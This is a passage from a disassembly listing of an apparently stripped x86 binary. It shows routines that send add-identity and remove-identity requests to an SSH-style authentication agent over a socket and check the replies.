0805b875   89 e5                       mov     %esp,%ebp
0805b877   57                          push    %edi
0805b878   56                          push    %esi
0805b879   53                          push    %ebx
0805b87a   81 ec 38 20 00 00           sub     $0x2038,%esp   ;8248 'x38 x20 x0 x0' "8 "
0805b880   8d 45 d8                    lea     0xffffffd8(%ebp),%eax
0805b883   8b 5d 0c                    mov     0xc(%ebp),%ebx
0805b886   8b 75 10                    mov     0x10(%ebp),%esi
0805b889   89 85 d4 df ff ff           mov     %eax,0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b88f   50                          push    %eax
0805b890   e8 7f a0 ff ff              call    08055914 <Unknown0114>
0805b895   59                          pop     %ecx
0805b896   5f                          pop     %edi
0805b897   6a 07                       push    $0x7
0805b899   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b89f   e8 d4 f2 ff ff              call    0805ab78 <Unknown0226>
0805b8a4   58                          pop     %eax
0805b8a5   5a                          pop     %edx
0805b8a6   ff 33                       pushl   (%ebx)
0805b8a8   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b8ae   e8 c5 f1 ff ff              call    0805aa78 <Unknown0222>
0805b8b3   59                          pop     %ecx
0805b8b4   5f                          pop     %edi
0805b8b5   8d 43 04                    lea     0x4(%ebx),%eax
0805b8b8   50                          push    %eax
0805b8b9   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b8bf   e8 ac ef ff ff              call    0805a870 <Unknown0219>
0805b8c4   58                          pop     %eax
0805b8c5   5a                          pop     %edx
0805b8c6   8d 43 10                    lea     0x10(%ebx),%eax
0805b8c9   50                          push    %eax
0805b8ca   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b8d0   e8 9b ef ff ff              call    0805a870 <Unknown0219>
0805b8d5   59                          pop     %ecx
0805b8d6   5f                          pop     %edi
0805b8d7   8d 43 1c                    lea     0x1c(%ebx),%eax
0805b8da   50                          push    %eax
0805b8db   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b8e1   e8 8a ef ff ff              call    0805a870 <Unknown0219>
0805b8e6   58                          pop     %eax
0805b8e7   5a                          pop     %edx
0805b8e8   8d 43 28                    lea     0x28(%ebx),%eax
0805b8eb   50                          push    %eax
0805b8ec   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b8f2   e8 79 ef ff ff              call    0805a870 <Unknown0219>
0805b8f7   59                          pop     %ecx
0805b8f8   5f                          pop     %edi
0805b8f9   8d 43 34                    lea     0x34(%ebx),%eax
0805b8fc   50                          push    %eax
0805b8fd   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b903   e8 68 ef ff ff              call    0805a870 <Unknown0219>
0805b908   58                          pop     %eax
0805b909   5a                          pop     %edx
0805b90a   83 c3 40                    add     $0x40,%ebx
0805b90d   53                          push    %ebx
0805b90e   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b914   89 f7                       mov     %esi,%edi
0805b916   e8 55 ef ff ff              call    0805a870 <Unknown0219>
0805b91b   fc                          cld
0805b91c   31 c0                       xor     %eax,%eax
0805b91e   b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805b923   f2 ae                       repnz scas %es:(%edi),%al
0805b925   f7 d1                       not     %ecx
0805b927   83 c4 0c                    add     $0xc,%esp
0805b92a   49                          dec     %ecx
0805b92b   51                          push    %ecx
0805b92c   56                          push    %esi
0805b92d   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b933   e8 f0 f1 ff ff              call    0805ab28 <Unknown0224>
0805b938   5f                          pop     %edi
0805b939   ff b5 d4 df ff ff           pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b93f   e8 04 a1 ff ff              call    08055a48 <Unknown0119>
0805b944   89 c6                       mov     %eax,%esi
0805b946   83 c4 0c                    add     $0xc,%esp
0805b949   c1 f8 18                    sar     $0x18,%eax
0805b94c   88 85 d8 df ff ff           mov     %al,0xffffdfd8(%ebp)   ;-8232 'xd8 xdf xff xff' ""
0805b952   89 f0                       mov     %esi,%eax
0805b954   c1 f8 10                    sar     $0x10,%eax
0805b957   88 85 d9 df ff ff           mov     %al,0xffffdfd9(%ebp)   ;-8231 'xd9 xdf xff xff' ""
0805b95d   89 f0                       mov     %esi,%eax
0805b95f   c1 f8 08                    sar     $0x8,%eax
0805b962   88 85 da df ff ff           mov     %al,0xffffdfda(%ebp)   ;-8230 'xda xdf xff xff' ""
0805b968   89 f0                       mov     %esi,%eax
```

```
0805b96a  88 85 db df ff ff    mov     %al,0xffffdfdb(%ebp)   ;-8229 'xdb xdf xff xff' ""
0805b970  6a 04                push    $0x4
0805b972  8d 85 d8 df ff ff    lea     0xffffdfd8(%ebp),%eax  ;-8232 'xd8 xdf xff xff' ""
0805b978  50                   push    %eax
0805b979  8b 45 08             mov     0x8(%ebp),%eax
0805b97c  ff 30                pushl   (%eax)
0805b97e  e8 29 e3 fe ff       call    08049cac <write>
0805b983  83 c4 10             add     $0x10,%esp
0805b986  83 f8 04             cmp     $0x4,%eax
0805b989  75 61                jne     0805b9ec <Unknown0233+0x178>
0805b98b  83 ec 0c             sub     $0xc,%esp
0805b98e  ff b5 d4 df ff ff    pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b994  e8 af a0 ff ff       call    08055a48 <Unknown0119>
0805b999  83 c4 0c             add     $0xc,%esp
0805b99c  50                   push    %eax
0805b99d  56                   push    %esi
0805b99e  ff b5 d4 df ff ff    pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b9a4  e8 63 a1 ff ff       call    08055b0c <Unknown0123>
0805b9a9  59                   pop     %ecx
0805b9aa  5b                   pop     %ebx
0805b9ab  50                   push    %eax
0805b9ac  8b 45 08             mov     0x8(%ebp),%eax
0805b9af  ff 30                pushl   (%eax)
0805b9b1  e8 f6 e2 fe ff       call    08049cac <write>
0805b9b6  5a                   pop     %edx
0805b9b7  89 c3                mov     %eax,%ebx
0805b9b9  ff b5 d4 df ff ff    pushl   0xffffdfd4(%ebp)   ;-8236 'xd4 xdf xff xff' ""
0805b9bf  e8 84 a0 ff ff       call    08055a48 <Unknown0119>
0805b9c4  83 c4 10             add     $0x10,%esp
0805b9c7  39 c3                cmp     %eax,%ebx
0805b9c9  75 21                jne     0805b9ec <Unknown0233+0x178>
0805b9cb  be 04 00 00 00       mov     $0x4,%esi    ;4 'x4 x0 x0 x0' ""
0805b9d0  eb 60                jmp     0805ba32 <Unknown0233+0x1be>
0805b9d2  89 f6                mov     %esi,%esi
0805b9d4  83 ec 0c             sub     $0xc,%esp
0805b9d7  68 c0 38 07 08       push    $0x80738c0  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                        reading response length from authentication socket."
0805b9dc  eb 16                jmp     0805b9f4 <Unknown0233+0x180>
0805b9de  89 f6                mov     %esi,%esi
0805b9e0  83 ec 0c             sub     $0xc,%esp
0805b9e3  68 40 39 07 08       push    $0x8073940  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                        reading response from authentication socket."
0805b9e8  eb 0a                jmp     0805b9f4 <Unknown0233+0x180>
0805b9ea  89 f6                mov     %esi,%esi
0805b9ec  83 ec 0c             sub     $0xc,%esp
0805b9ef  68 80 38 07 08       push    $0x8073880  ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                        writing to authentication socket."
0805b9f4  e8 0f 44 ff ff       call    0804fe08 <Unknown0040>
0805b9f9  83 c4 10             add     $0x10,%esp
0805b9fc  8d 45 d8             lea     0xffffffd8(%ebp),%eax
0805b9ff  83 ec 0c             sub     $0xc,%esp
0805ba02  50                   push    %eax
0805ba03  e8 3c 9f ff ff       call    08055944 <Unknown0115>
0805ba08  e9 08 01 00 00       jmp     0805bb15 <Unknown0233+0x2a1>   ;264 'x8 x1 x0 x0' ""
0805ba0d  8d 76 00             lea     0x0(%esi),%esi
0805ba10  50                   push    %eax
0805ba11  8d 45 e8             lea     0xffffffe8(%ebp),%eax
0805ba14  29 f0                sub     %esi,%eax
0805ba16  56                   push    %esi
0805ba17  2d 0c 20 00 00       sub     $0x200c,%eax   ;8204 'xc x20 x0 x0' ""
0805ba1c  50                   push    %eax
0805ba1d  8b 45 08             mov     0x8(%ebp),%eax
0805ba20  ff 30                pushl   (%eax)
0805ba22  e8 85 ea fe ff       call    0804a4ac <read>
0805ba27  89 c3                mov     %eax,%ebx
0805ba29  83 c4 10             add     $0x10,%esp
0805ba2c  85 db                test    %ebx,%ebx
0805ba2e  7e a4                jle     0805b9d4 <Unknown0233+0x160>
0805ba30  29 de                sub     %ebx,%esi
0805ba32  85 f6                test    %esi,%esi
0805ba34  7f da                jg      0805ba10 <Unknown0233+0x19c>
0805ba36  0f b6 b5 d8 df ff ff movzbl  0xffffdfd8(%ebp),%esi  ;-8232 'xd8 xdf xff xff' ""
0805ba3d  0f b6 85 d9 df ff ff movzbl  0xffffdfd9(%ebp),%eax  ;-8231 'xd9 xdf xff xff' ""
0805ba44  c1 e0 10             shl     $0x10,%eax
0805ba47  c1 e6 18             shl     $0x18,%esi
0805ba4a  09 c6                or      %eax,%esi
0805ba4c  0f b6 85 da df ff ff movzbl  0xffffdfda(%ebp),%eax  ;-8230 'xda xdf xff xff' ""
0805ba53  c1 e0 08             shl     $0x8,%eax
0805ba56  09 c6                or      %eax,%esi
0805ba58  0f b6 85 db df ff ff movzbl  0xffffdfdb(%ebp),%eax  ;-8229 'xdb xdf xff xff' ""
0805ba5f  09 c6                or      %eax,%esi
0805ba61  81 fe 00 78 00 00    cmp     $0x7800,%esi   ;30720 'x0 x78 x0 x0' ""
0805ba67  7e 11                jle     0805ba7a <Unknown0233+0x206>
0805ba69  83 ec 08             sub     $0x8,%esp
```

```
0805ba6c   56                      push    %esi
0805ba6d   68 e0 39 07 08          push    $0x80739e0   ;[in .rodata] 543450177 'x41 x64 x64 x20' "Add identity
                                                          response too long: %d"
0805ba72   e8 e5 44 ff ff          call    0804ff5c <Unknown0044>
0805ba77   83 c4 10                add     $0x10,%esp
0805ba7a   83 ec 0c                sub     $0xc,%esp
0805ba7d   8d 45 d8                lea     0xffffffd8(%ebp),%eax
0805ba80   50                      push    %eax
0805ba81   e8 e6 9e ff ff          call    0805596c <Unknown0116>
0805ba86   eb 3d                   jmp     0805bac5 <Unknown0233+0x251>
0805ba88   81 fe 00 20 00 00       cmp     $0x2000,%esi  ;8192 'x0 x20 x0 x0' ""
0805ba8e   89 f3                   mov     %esi,%ebx
0805ba90   76 05                   jbe     0805ba97 <Unknown0233+0x223>
0805ba92   bb 00 20 00 00          mov     $0x2000,%ebx  ;8192 'x0 x20 x0 x0' ""
0805ba97   57                      push    %edi
0805ba98   53                      push    %ebx
0805ba99   8d bd d8 df ff ff       lea     0xffffdfd8(%ebp),%edi   ;-8232 'xd8 xdf xff xff' ""
0805ba9f   57                      push    %edi
0805baa0   8b 45 08                mov     0x8(%ebp),%eax
0805baa3   ff 30                   pushl   (%eax)
0805baa5   e8 02 ea fe ff          call    0804a4ac <read>
0805baaa   89 c3                   mov     %eax,%ebx
0805baac   83 c4 10                add     $0x10,%esp
0805baaf   85 db                   test    %ebx,%ebx
0805bab1   0f 8e 29 ff ff ff       jle     0805b9e0 <Unknown0233+0x16c>   ;-215 'x29 xff xff xff' ")"
0805bab7   51                      push    %ecx
0805bab8   53                      push    %ebx
0805bab9   57                      push    %edi
0805baba   8d 45 d8                lea     0xffffffd8(%ebp),%eax
0805babd   50                      push    %eax
0805babe   29 de                   sub     %ebx,%esi
0805bac0   e8 bf 9e ff ff          call    08055984 <Unknown0117>
0805bac5   83 c4 10                add     $0x10,%esp
0805bac8   85 f6                   test    %esi,%esi
0805baca   7f bc                   jg      0805ba88 <Unknown0233+0x214>
0805bacc   83 ec 0c                sub     $0xc,%esp
0805bacf   8d 5d d8                lea     0xffffffd8(%ebp),%ebx
0805bad2   53                      push    %ebx
0805bad3   e8 84 f0 ff ff          call    0805ab5c <Unknown0225>
0805bad8   83 c4 10                add     $0x10,%esp
0805badb   83 f8 05                cmp     $0x5,%eax
0805bade   74 08                   je      0805bae8 <Unknown0233+0x274>
0805bae0   83 f8 06                cmp     $0x6,%eax
0805bae3   74 0f                   je      0805baf4 <Unknown0233+0x280>
0805bae5   eb 1d                   jmp     0805bb04 <Unknown0233+0x290>
0805bae7   90                      nop
0805bae8   83 ec 0c                sub     $0xc,%esp
0805baeb   53                      push    %ebx
0805baec   e8 53 9e ff ff          call    08055944 <Unknown0115>
0805baf1   eb 22                   jmp     0805bb15 <Unknown0233+0x2a1>
0805baf3   90                      nop
0805baf4   83 ec 0c                sub     $0xc,%esp
0805baf7   53                      push    %ebx
0805baf8   e8 47 9e ff ff          call    08055944 <Unknown0115>
0805bafd   b8 01 00 00 00          mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805bb02   eb 13                   jmp     0805bb17 <Unknown0233+0x2a3>
0805bb04   83 ec 08                sub     $0x8,%esp
0805bb07   50                      push    %eax
0805bb08   68 20 3a 07 08          push    $0x8073a20   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad response
                                                          to add identity from authentication agent: %d"
0805bb0d   e8 4a 44 ff ff          call    0804ff5c <Unknown0044>
0805bb12   83 c4 10                add     $0x10,%esp
0805bb15   31 c0                   xor     %eax,%eax
0805bb17   8d 65 f4                lea     0xfffffff4(%ebp),%esp
0805bb1a   5b                      pop     %ebx
0805bb1b   5e                      pop     %esi
0805bb1c   5f                      pop     %edi
0805bb1d   5d                      pop     %ebp
0805bb1e   c3                      ret
0805bb1f   90                      nop


   ;
   ; >--------------------<  Subroutine # 234 >--------------------<
   ;
0805bb20 <Unknown0234>:
0805bb20   55                      push    %ebp
0805bb21   89 e5                   mov     %esp,%ebp
0805bb23   57                      push    %edi
0805bb24   56                      push    %esi
0805bb25   53                      push    %ebx
0805bb26   81 ec 28 20 00 00       sub     $0x2028,%esp   ;8232 'x28 x20 x0 x0' "( "
0805bb2c   8d 7d d8                lea     0xffffffd8(%ebp),%edi
0805bb2f   8b 5d 0c                mov     0xc(%ebp),%ebx
```

```
0805bb32  57                       push    %edi
0805bb33  e8 dc 9d ff ff           call    08055914 <Unknown0114>
0805bb38  5e                       pop     %esi
0805bb39  58                       pop     %eax
0805bb3a  6a 08                    push    $0x8
0805bb3c  57                       push    %edi
0805bb3d  e8 36 f0 ff ff           call    0805ab78 <Unknown0226>
0805bb42  5a                       pop     %edx
0805bb43  59                       pop     %ecx
0805bb44  ff 33                    pushl   (%ebx)
0805bb46  57                       push    %edi
0805bb47  e8 2c ef ff ff           call    0805aa78 <Unknown0222>
0805bb4c  5e                       pop     %esi
0805bb4d  58                       pop     %eax
0805bb4e  8d 43 04                 lea     0x4(%ebx),%eax
0805bb51  50                       push    %eax
0805bb52  57                       push    %edi
0805bb53  e8 18 ed ff ff           call    0805a870 <Unknown0219>
0805bb58  5a                       pop     %edx
0805bb59  59                       pop     %ecx
0805bb5a  83 c3 10                 add     $0x10,%ebx
0805bb5d  53                       push    %ebx
0805bb5e  57                       push    %edi
0805bb5f  e8 0c ed ff ff           call    0805a870 <Unknown0219>
0805bb64  89 3c 24                 mov     %edi,(%esp,1)
0805bb67  e8 dc 9e ff ff           call    08055a48 <Unknown0119>
0805bb6c  89 c6                    mov     %eax,%esi
0805bb6e  83 c4 0c                 add     $0xc,%esp
0805bb71  c1 f8 18                 sar     $0x18,%eax
0805bb74  88 85 d8 df ff ff        mov     %al,0xffffdfd8(%ebp)   ;-8232 'xd8 xdf xff xff' ""
0805bb7a  89 f0                    mov     %esi,%eax
0805bb7c  c1 f8 10                 sar     $0x10,%eax
0805bb7f  88 85 d9 df ff ff        mov     %al,0xffffdfd9(%ebp)   ;-8231 'xd9 xdf xff xff' ""
0805bb85  89 f0                    mov     %esi,%eax
0805bb87  c1 f8 08                 sar     $0x8,%eax
0805bb8a  88 85 da df ff ff        mov     %al,0xffffdfda(%ebp)   ;-8230 'xda xdf xff xff' ""
0805bb90  89 f0                    mov     %esi,%eax
0805bb92  88 85 db df ff ff        mov     %al,0xffffdfdb(%ebp)   ;-8229 'xdb xdf xff xff' ""
0805bb98  6a 04                    push    $0x4
0805bb9a  8d 85 d8 df ff ff        lea     0xffffdfd8(%ebp),%eax  ;-8232 'xd8 xdf xff xff' ""
0805bba0  50                       push    %eax
0805bba1  8b 45 08                 mov     0x8(%ebp),%eax
0805bba4  ff 30                    pushl   (%eax)
0805bba6  e8 01 e1 fe ff           call    08049cac <write>
0805bbab  83 c4 10                 add     $0x10,%esp
0805bbae  83 f8 04                 cmp     $0x4,%eax
0805bbb1  75 51                    jne     0805bc04 <Unknown0234+0xe4>
0805bbb3  83 ec 0c                 sub     $0xc,%esp
0805bbb6  57                       push    %edi
0805bbb7  e8 8c 9e ff ff           call    08055a48 <Unknown0119>
0805bbbc  83 c4 0c                 add     $0xc,%esp
0805bbbf  50                       push    %eax
0805bbc0  50                       push    %eax
0805bbc1  57                       push    %edi
0805bbc2  e8 45 9f ff ff           call    08055b0c <Unknown0123>
0805bbc7  5b                       pop     %ebx
0805bbc8  5e                       pop     %esi
0805bbc9  50                       push    %eax
0805bbca  8b 45 08                 mov     0x8(%ebp),%eax
0805bbcd  ff 30                    pushl   (%eax)
0805bbcf  e8 d8 e0 fe ff           call    08049cac <write>
0805bbd4  89 c3                    mov     %eax,%ebx
0805bbd6  89 3c 24                 mov     %edi,(%esp,1)
0805bbd9  e8 6a 9e ff ff           call    08055a48 <Unknown0119>
0805bbde  83 c4 10                 add     $0x10,%esp
0805bbe1  39 c3                    cmp     %eax,%ebx
0805bbe3  75 1f                    jne     0805bc04 <Unknown0234+0xe4>
0805bbe5  be 04 00 00 00           mov     $0x4,%esi   ;4 'x4 x0 x0 x0' ""
0805bbea  eb 5e                    jmp     0805bc4a <Unknown0234+0x12a>
0805bbec  83 ec 0c                 sub     $0xc,%esp
0805bbef  68 c0 38 07 08           push    $0x80738c0   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                         reading response length from authentication socket."
0805bbf4  eb 16                    jmp     0805bc0c <Unknown0234+0xec>
0805bbf6  89 f6                    mov     %esi,%esi
0805bbf8  83 ec 0c                 sub     $0xc,%esp
0805bbfb  68 40 39 07 08           push    $0x8073940   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                         reading response from authentication socket."
0805bc00  eb 0a                    jmp     0805bc0c <Unknown0234+0xec>
0805bc02  89 f6                    mov     %esi,%esi
0805bc04  83 ec 0c                 sub     $0xc,%esp
0805bc07  68 80 38 07 08           push    $0x8073880   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                         writing to authentication socket."
0805bc0c  e8 f7 41 ff ff           call    0804fe08 <Unknown0040>
0805bc11  83 c4 10                 add     $0x10,%esp
```

```
0805bc14  8d 45 d8              lea      0xffffffd8(%ebp),%eax
0805bc17  83 ec 0c              sub      $0xc,%esp
0805bc1a  50                    push     %eax
0805bc1b  e8 24 9d ff ff        call     08055944 <Unknown0115>
0805bc20  e9 08 01 00 00        jmp      0805bd2d <Unknown0234+0x20d>  ;264 'x8 x1 x0 x0' ""
0805bc25  8d 76 00              lea      0x0(%esi),%esi
0805bc28  8d 45 e8              lea      0xffffffe8(%ebp),%eax
0805bc2b  51                    push     %ecx
0805bc2c  29 f0                 sub      %esi,%eax
0805bc2e  56                    push     %esi
0805bc2f  2d 0c 20 00 00        sub      $0x200c,%eax  ;8204 'xc x20 x0 x0' ""
0805bc34  50                    push     %eax
0805bc35  8b 45 08              mov      0x8(%ebp),%eax
0805bc38  ff 30                 pushl    (%eax)
0805bc3a  e8 6d e8 fe ff        call     0804a4ac <read>
0805bc3f  89 c3                 mov      %eax,%ebx
0805bc41  83 c4 10              add      $0x10,%esp
0805bc44  85 db                 test     %ebx,%ebx
0805bc46  7e a4                 jle      0805bbec <Unknown0234+0xcc>
0805bc48  29 de                 sub      %ebx,%esi
0805bc4a  85 f6                 test     %esi,%esi
0805bc4c  7f da                 jg       0805bc28 <Unknown0234+0x108>
0805bc4e  0f b6 b5 d8 df ff ff  movzbl   0xffffdfd8(%ebp),%esi  ;-8232 'xd8 xdf xff xff' ""
0805bc55  0f b6 85 d9 df ff ff  movzbl   0xffffdfd9(%ebp),%eax  ;-8231 'xd9 xdf xff xff' ""
0805bc5c  c1 e0 10              shl      $0x10,%eax
0805bc5f  c1 e6 18              shl      $0x18,%esi
0805bc62  09 c6                 or       %eax,%esi
0805bc64  0f b6 85 da df ff ff  movzbl   0xffffdfda(%ebp),%eax  ;-8230 'xda xdf xff xff' ""
0805bc6b  c1 e0 08              shl      $0x8,%eax
0805bc6e  09 c6                 or       %eax,%esi
0805bc70  0f b6 85 db df ff ff  movzbl   0xffffdfdb(%ebp),%eax  ;-8229 'xdb xdf xff xff' ""
0805bc77  09 c6                 or       %eax,%esi
0805bc79  81 fe 00 78 00 00     cmp      $0x7800,%esi  ;30720 'x0 x78 x0 x0' ""
0805bc7f  7e 11                 jle      0805bc92 <Unknown0234+0x172>
0805bc81  83 ec 08              sub      $0x8,%esp
0805bc84  56                    push     %esi
0805bc85  68 60 3a 07 08        push     $0x8073a60  ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remove
                                          identity response too long: %d"
0805bc8a  e8 cd 42 ff ff        call     0804ff5c <Unknown0044>
0805bc8f  83 c4 10              add      $0x10,%esp
0805bc92  83 ec 0c              sub      $0xc,%esp
0805bc95  8d 45 d8              lea      0xffffffd8(%ebp),%eax
0805bc98  50                    push     %eax
0805bc99  e8 ce 9c ff ff        call     0805596c <Unknown0116>
0805bc9e  eb 3d                 jmp      0805bcdd <Unknown0234+0x1bd>
0805bca0  81 fe 00 20 00 00     cmp      $0x2000,%esi  ;8192 'x0 x20 x0 x0' ""
0805bca6  89 f3                 mov      %esi,%ebx
0805bca8  76 05                 jbe      0805bcaf <Unknown0234+0x18f>
0805bcaa  bb 00 20 00 00        mov      $0x2000,%ebx  ;8192 'x0 x20 x0 x0' ""
0805bcaf  52                    push     %edx
0805bcb0  53                    push     %ebx
0805bcb1  8d bd d8 df ff ff     lea      0xffffdfd8(%ebp),%edi  ;-8232 'xd8 xdf xff xff' ""
0805bcb7  57                    push     %edi
0805bcb8  8b 45 08              mov      0x8(%ebp),%eax
0805bcbb  ff 30                 pushl    (%eax)
0805bcbd  e8 ea e7 fe ff        call     0804a4ac <read>
0805bcc2  89 c3                 mov      %eax,%ebx
0805bcc4  83 c4 10              add      $0x10,%esp
0805bcc7  85 db                 test     %ebx,%ebx
0805bcc9  0f 8e 29 ff ff ff     jle      0805bbf8 <Unknown0234+0xd8>  ;-215 'x29 xff xff xff' ")"
0805bccf  50                    push     %eax
0805bcd0  53                    push     %ebx
0805bcd1  57                    push     %edi
0805bcd2  8d 45 d8              lea      0xffffffd8(%ebp),%eax
0805bcd5  50                    push     %eax
0805bcd6  29 de                 sub      %ebx,%esi
0805bcd8  e8 a7 9c ff ff        call     08055984 <Unknown0117>
0805bcdd  83 c4 10              add      $0x10,%esp
0805bce0  85 f6                 test     %esi,%esi
0805bce2  7f bc                 jg       0805bca0 <Unknown0234+0x180>
0805bce4  83 ec 0c              sub      $0xc,%esp
0805bce7  8d 5d d8              lea      0xffffffd8(%ebp),%ebx
0805bcea  53                    push     %ebx
0805bceb  e8 6c ee ff ff        call     0805ab5c <Unknown0225>
0805bcf0  83 c4 10              add      $0x10,%esp
0805bcf3  83 f8 05              cmp      $0x5,%eax
0805bcf6  74 08                 je       0805bd00 <Unknown0234+0x1e0>
0805bcf8  83 f8 06              cmp      $0x6,%eax
0805bcfb  74 0f                 je       0805bd0c <Unknown0234+0x1ec>
0805bcfd  eb 1d                 jmp      0805bd1c <Unknown0234+0x1fc>
0805bcff  90                    nop
0805bd00  83 ec 0c              sub      $0xc,%esp
0805bd03  53                    push     %ebx
0805bd04  e8 3b 9c ff ff        call     08055944 <Unknown0115>
```

```
0805bd09   eb 22                      jmp      0805bd2d <Unknown0234+0x20d>
0805bd0b   90                         nop
0805bd0c   83 ec 0c                   sub      $0xc,%esp
0805bd0f   53                         push     %ebx
0805bd10   e8 2f 9c ff ff             call     08055944 <Unknown0115>
0805bd15   b8 01 00 00 00             mov      $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805bd1a   eb 13                      jmp      0805bd2f <Unknown0234+0x20f>
0805bd1c   83 ec 08                   sub      $0x8,%esp
0805bd1f   50                         push     %eax
0805bd20   68 a0 3a 07 08             push     $0x8073aa0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad response
                                                               to remove identity from authentication agent: %d"
0805bd25   e8 32 42 ff ff             call     0804ff5c <Unknown0044>
0805bd2a   83 c4 10                   add      $0x10,%esp
0805bd2d   31 c0                      xor      %eax,%eax
0805bd2f   8d 65 f4                   lea      0xfffffff4(%ebp),%esp
0805bd32   5b                         pop      %ebx
0805bd33   5e                         pop      %esi
0805bd34   5f                         pop      %edi
0805bd35   5d                         pop      %ebp
0805bd36   c3                         ret
0805bd37   90                         nop


  ;
  ; >--------------------<  Subroutine # 235 >--------------------<
  ;
0805bd38 <Unknown0235>:
0805bd38   55                         push     %ebp
0805bd39   89 e5                      mov      %esp,%ebp
0805bd3b   57                         push     %edi
0805bd3c   56                         push     %esi
0805bd3d   53                         push     %ebx
0805bd3e   81 ec 20 20 00 00          sub      $0x2020,%esp   ;8224 'x20 x20 x0 x0' "   "
0805bd44   c6 85 d8 df ff ff 00       movb     $0x0,0xffffdfd8(%ebp)   ;-8232 'xd8 xdf xff xff' ""
0805bd4b   c6 85 d9 df ff ff 00       movb     $0x0,0xffffdfd9(%ebp)   ;-8231 'xd9 xdf xff xff' ""
0805bd52   c6 85 da df ff ff 00       movb     $0x0,0xffffdfda(%ebp)   ;-8230 'xda xdf xff xff' ""
0805bd59   c6 85 db df ff ff 01       movb     $0x1,0xffffdfdb(%ebp)   ;-8229 'xdb xdf xff xff' ""
0805bd60   c6 85 dc df ff ff 09       movb     $0x9,0xffffdfdc(%ebp)   ;-8228 'xdc xdf xff xff' ""
0805bd67   6a 05                      push     $0x5
0805bd69   8d 9d d8 df ff ff          lea      0xffffdfd8(%ebp),%ebx   ;-8232 'xd8 xdf xff xff' ""
0805bd6f   53                         push     %ebx
0805bd70   8b 45 08                   mov      0x8(%ebp),%eax
0805bd73   ff 30                      pushl    (%eax)
0805bd75   e8 32 df fe ff             call     08049cac <write>
0805bd7a   83 c4 10                   add      $0x10,%esp
0805bd7d   83 f8 05                   cmp      $0x5,%eax
0805bd80   74 12                      je       0805bd94 <Unknown0235+0x5c>
0805bd82   83 ec 0c                   sub      $0xc,%esp
0805bd85   68 80 38 07 08             push     $0x8073880   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                               writing to authentication socket."
0805bd8a   e8 79 40 ff ff             call     0804fe08 <Unknown0040>
0805bd8f   e9 39 01 00 00             jmp      0805becd <Unknown0235+0x195>   ;313 'x39 x1 x0 x0' "9"
0805bd94   be 04 00 00 00             mov      $0x4,%esi   ;4 'x4 x0 x0 x0' ""
0805bd99   89 df                      mov      %ebx,%edi
0805bd9b   90                         nop
0805bd9c   89 f8                      mov      %edi,%eax
0805bd9e   53                         push     %ebx
0805bd9f   29 f0                      sub      %esi,%eax
0805bda1   56                         push     %esi
0805bda2   83 c0 04                   add      $0x4,%eax
0805bda5   50                         push     %eax
0805bda6   8b 45 08                   mov      0x8(%ebp),%eax
0805bda9   ff 30                      pushl    (%eax)
0805bdab   e8 fc e6 fe ff             call     0804a4ac <read>
0805bdb0   89 c3                      mov      %eax,%ebx
0805bdb2   83 c4 10                   add      $0x10,%esp
0805bdb5   85 db                      test     %ebx,%ebx
0805bdb7   0f 8e d3 00 00 00          jle      0805be90 <Unknown0235+0x158>   ;211 'xd3 x0 x0 x0' ""
0805bdbd   29 de                      sub      %ebx,%esi
0805bdbf   85 f6                      test     %esi,%esi
0805bdc1   7f d9                      jg       0805bd9c <Unknown0235+0x64>
0805bdc3   0f b6 b5 d8 df ff ff       movzbl   0xffffdfd8(%ebp),%esi   ;-8232 'xd8 xdf xff xff' ""
0805bdca   0f b6 85 d9 df ff ff       movzbl   0xffffdfd9(%ebp),%eax   ;-8231 'xd9 xdf xff xff' ""
0805bdd1   c1 e0 10                   shl      $0x10,%eax
0805bdd4   c1 e6 18                   shl      $0x18,%esi
0805bdd7   09 c6                      or       %eax,%esi
0805bdd9   0f b6 85 da df ff ff       movzbl   0xffffdfda(%ebp),%eax   ;-8230 'xda xdf xff xff' ""
0805bde0   c1 e0 08                   shl      $0x8,%eax
0805bde3   09 c6                      or       %eax,%esi
0805bde5   0f b6 85 db df ff ff       movzbl   0xffffdfdb(%ebp),%eax   ;-8229 'xdb xdf xff xff' ""
0805bdec   09 c6                      or       %eax,%esi
0805bdee   81 fe 00 78 00 00          cmp      $0x7800,%esi   ;30720 'x0 x78 x0 x0' ""
0805bdf4   7e 11                      jle      0805be07 <Unknown0235+0xcf>
0805bdf6   83 ec 08                   sub      $0x8,%esp
```

```
0805bdf9  56                     push   %esi
0805bdfa  68 60 3a 07 08         push   $0x8073a60   ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remove
                                                      identity response too long: %d"
